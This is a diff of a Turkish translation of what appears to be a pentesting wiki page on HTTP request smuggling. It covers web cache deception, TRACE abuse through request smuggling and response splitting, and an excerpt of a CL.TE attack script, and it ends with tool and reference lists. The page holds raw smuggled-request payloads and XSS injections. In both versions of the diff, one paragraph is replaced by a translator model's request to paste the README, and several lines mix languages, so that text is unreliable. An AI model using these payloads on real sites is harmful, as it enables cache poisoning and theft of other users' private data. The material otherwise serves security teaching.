-> - **web cache poisoning** durumunda, saldırgan uygulamanın önbelleğe bazı kötü amaçlı içerikler kaydetmesine neden olur ve bu içerikler önbellekten diğer uygulama kullanıcılarına sunulur.
+> - **web cache poisoning** durumunda, saldırgan uygulamanın önbelleğe bazı kötü amaçlı içerikler kaydetmesini sağlar ve bu içerik önbellekten diğer uygulama kullanıcılarına sunulur.
-> - **web cache deception** durumunda, saldırgan uygulamanın başka bir kullanıcıya ait hassas içeriği önbelleğe kaydetmesine neden olur ve saldırgan daha sonra bu içeriği önbellekten alır.
+> - **web cache deception** durumunda, saldırgan uygulamanın başka bir kullanıcıya ait hassas içeriği önbelleğe kaydetmesini sağlar ve ardından bu içeriği önbellekten geri alır.
 
-Saldırgan, kullanıcıya özel hassas içeriği getiren bir smuggled request oluşturur. Aşağıdaki örneği inceleyin:
+Saldırgan, kullanıcıya özel hassas içeriği getiren bir smuggled request hazırlar. Aşağıdaki örneği inceleyin:
 ```markdown
 `POST / HTTP/1.1`\
 `Host: vulnerable-website.com`\
@@ -673,17 +676,17 @@ Saldırgan, kullanıcıya özel hassas içeriği getiren bir smuggled request ol
 `GET /private/messages HTTP/1.1`\
 `Foo: X`
 ```
-Eğer bu smuggled request statik içerik için ayrılmış bir cache entry'yi zehirlerse (ör. `/someimage.png`), kurbanın `/private/messages` içindeki sensitive data bu statik içeriğin cache entry'si altında cached olabilir. Sonuç olarak attacker bu cached sensitive data'ları elde edebilir.
+Eğer bu smuggled request, static content için ayrılmış bir cache entry'yi zehirlerse (ör. `/someimage.png`), kurbanın `/private/messages` içindeki hassas verileri statik içeriğin cache entry'si altında cached olabilir. Sonuç olarak, attacker potansiyel olarak bu cached hassas verileri elde edebilir.
 
-### TRACE'ın HTTP Request Smuggling ile kötüye kullanılması <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
+### Abusing TRACE via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
 
-[**Bu yazıda**](https://portswigger.net/research/trace-desync-attack) öneriliyor ki eğer sunucuda TRACE methodu etkinse, bunu HTTP Request Smuggling ile suistimal etmek mümkün olabilir. Bunun nedeni bu methodun sunucuya gönderilen herhangi bir header'ı response'ın body kısmında yansıtmasıdır. Örneğin:
+[**In this post**](https://portswigger.net/research/trace-desync-attack) öneriyor ki eğer sunucuda TRACE metodu etkinse, bunu HTTP Request Smuggling ile kötüye kullanmak mümkün olabilir. Bunun nedeni, bu metodun sunucuya gönderilen herhangi bir header'ı response body'sinin bir parçası olarak yansıtmasıdır. Örneğin:
 ```
 TRACE / HTTP/1.1
 Host: example.com
 XSS: <script>alert("TRACE")</script>
 ```
-Çevirilecek README.md içeriğini buraya yapıştırın. Verdiğiniz yönergelere göre (kod, teknik terimler, linkler, path'ler ve belirtilen etiketleri çevirmeme kuralına uyarak) Türkçeye çevireceğim.
+Lütfen src/pentesting-web/http-request-smuggling/README.md dosyasının içeriğini buraya yapıştırın. İçeriği istenen kurallara (kod, tag, link, path ve belirttiğiniz kelimeleri çevirmeme gibi) uyarak Türkçeye çevireceğim.
 ```
 HTTP/1.1 200 OK
 Content-Type: message/http
@@ -694,17 +697,17 @@ Host: vulnerable.com
 XSS: <script>alert("TRACE")</script>
 X-Forwarded-For: xxx.xxx.xxx.xxx
 ```
-Bu davranışın kötüye kullanılmasına bir örnek, **smuggle first a HEAD request**. Bu isteğe yalnızca bir GET isteğinin **headers** ile yanıt verilecek (**`Content-Type`** bunların arasında). Ve **immediately after the HEAD a TRACE request** smuggle edilirse, gönderilen veriyi **reflecting the sent dat**a.\
+Bir örnek olarak bu davranışın kötüye kullanılması, **önce bir HEAD isteğini smuggle etmek** olurdu. Bu isteğe yalnızca bir GET isteğinin **headers**'ı ile yanıt verilecek (**`Content-Type`** bunların arasında). Ve HEAD'in hemen ardından bir TRACE isteğini **smuggle etmek**, gönderilen veriyi **yansıtacaktır**.\
-HEAD yanıtı bir `Content-Length` header'ı içereceği için, **response of the TRACE request will be treated as the body of the HEAD response, therefore reflecting arbitrary data** yanıtın gövdesi olarak kabul edilecektir.\
+HEAD yanıtı bir `Content-Length` header'ı içereceği için, TRACE isteğinin **yanıtı HEAD yanıtının gövdesi olarak işlenecek; dolayısıyla yanıtta keyfi veri yansıtılacaktır**.\
-Bu yanıt bağlantı üzerinden bir sonraki isteğe gönderilecektir; bu nedenle bu, örneğin önbelleğe alınmış bir JS dosyasında keyfi JS kodu enjekte etmek için **used in a cached JS file for example to inject arbitrary JS code**.
+Bu yanıt bağlantı üzerinden bir sonraki isteğe gönderilecektir, bu yüzden örneğin önbelleğe alınmış bir JS dosyasında **keyfi JS kodu enjeksiyonu için kullanılabilir**.
 
-### Abusing TRACE via HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
+### TRACE'i HTTP Response Splitting ile kötüye kullanma <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
 
-Devamında [**this post**](https://portswigger.net/research/trace-desync-attack) önerildiği gibi TRACE methodunu kötüye kullanmanın başka bir yolu anlatılıyor. Belirtildiği gibi, bir HEAD isteği ve bir TRACE isteği smuggle edilirse HEAD yanıtında bazı yansıtılan veriler **control some reflected data** mümkün olur. HEAD isteğinin gövdesinin uzunluğu temelde `Content-Length` header'ında belirtilir ve TRACE isteğinin yanıtı tarafından oluşur.
+Bu [**this post**](https://portswigger.net/research/trace-desync-attack)'u takip etmeye devam etmek, TRACE methodunu kötüye kullanmanın başka bir yolunu önerir. Bahsedildiği gibi, bir HEAD isteği ve bir TRACE isteği smuggle edildiğinde, HEAD yanıtındaki bazı yansıtılan verileri **kontrol etmek** mümkün olur. HEAD isteğinin gövdesinin uzunluğu temelde `Content-Length` header'ı ile belirtilir ve bu gövde TRACE isteğinin yanıtı tarafından oluşur.
 
-Dolayısıyla yeni fikir şudur: bu `Content-Length` bilindiğinde ve TRACE yanıtında dönen veri bilindiğinde, TRACE yanıtının `Content-Length`'in son baytından sonra geçerli bir HTTP response içerecek şekilde oluşturulması mümkün olabilir; bu da bir saldırganın bir sonraki yanıt üzerindeki isteği tamamen kontrol etmesine izin verir (bu, cache poisoning gerçekleştirmek için kullanılabilir).
+Buna göre yeni fikir şudur: bu `Content-Length`'ı ve TRACE yanıtında verilen veriyi bilerek, TRACE yanıtının `Content-Length`'ın son baytından sonra geçerli bir HTTP yanıtı içermesini sağlamak — bu, bir saldırganın bir sonraki yanıt için yapılan isteği tamamen kontrol etmesine izin verir (bu, cache poisoning gerçekleştirmek için kullanılabilir).
 
-Örnek:
+Example:
 ```
 GET / HTTP/1.1
 Host: example.com
@@ -723,7 +726,7 @@ Content-Length: 44\r\n
 \r\n
 <script>alert("response splitting")</script>
 ```
-Aşağıdaki yanıtları oluşturacaktır (HEAD yanıtının bir Content-Length'e sahip olduğunu, bunun TRACE yanıtını HEAD gövdesinin parçası yaptığına ve HEAD Content-Length sona erdiğinde geçerli bir HTTP yanıtının smuggled olduğuna dikkat edin):
+Bu yanıtları oluşturacak (HEAD yanıtının bir Content-Length başlığı içerdiğine dikkat edin; bu, TRACE yanıtını HEAD gövdesinin bir parçası yapar ve HEAD Content-Length sona erdiğinde geçerli bir HTTP yanıtı kaçak olarak iletilir):
 ```
 HTTP/1.1 200 OK
 Content-Type: text/html
@@ -744,9 +747,10 @@ Content-Length: 50
 
 <script>alert(“arbitrary response”)</script>
 ```
-### HTTP Response Desynchronisation ile HTTP Request Smuggling'in Silahlandırılması
+### HTTP Request Smuggling'ı HTTP Response Desynchronisation ile Silahlandırma
+
+HTTP Request Smuggling vulnerability mi buldunuz ve nasıl exploit edeceğinizi bilmiyor musunuz? Bu diğer exploitation yöntemlerini deneyin:
 
-Bir HTTP Request Smuggling açığı mı buldunuz ve nasıl istismar edeceğinizi bilmiyor musunuz? Bu diğer istismar yöntemlerini deneyin:
 
 {{#ref}}
 ../http-response-smuggling-desync.md
@@ -772,7 +776,7 @@ request-smuggling-in-http-2-downgrades.md
 
 ### CL.TE
 
-Kaynak [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)
+Kaynak: [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)
 ```python
 def queueRequests(target, wordlists):
 
@@ -857,14 +861,14 @@ table.add(req)
 ```
 ## Araçlar
 
-- HTTP Hacker (Burp BApp Store) – birleştirme/çerçeveleme ve düşük seviyeli HTTP davranışını görselleştirir
+- HTTP Hacker (Burp BApp Store) – konkatenasyon/çerçeveleme ve düşük seviyeli HTTP davranışını görselleştirmek için
 - https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action "Smuggling or pipelining?"
 - [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)
 - [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
 - [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
 - [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
 - [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
-- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Bu araç, tuhaf request smuggling uyumsuzluklarını bulmak için yararlı olan gramer tabanlı bir HTTP Fuzzer'dır.
+- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Bu araç, garip request smuggling uyumsuzluklarını bulmak için yararlı olan gramer tabanlı bir HTTP Fuzzer'dır.
 
 ## Referanslar
 
@@ -877,7 +881,7 @@ table.add(req)
 - [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
 - [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
 - [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
-- Yanlış false‑positive'e dikkat: HTTP pipelining ile request smuggling arasındaki farkı nasıl ayırt edersiniz – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
+- Sahte yanlış pozitiflere dikkat: HTTP pipelining ile request smuggling'i nasıl ayırt edersiniz – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
 - [https://http1mustdie.com/](https://http1mustdie.com/)
 - Browser‑Powered Desync Attacks – [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
 - PortSwigger Academy – client‑side desync – [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)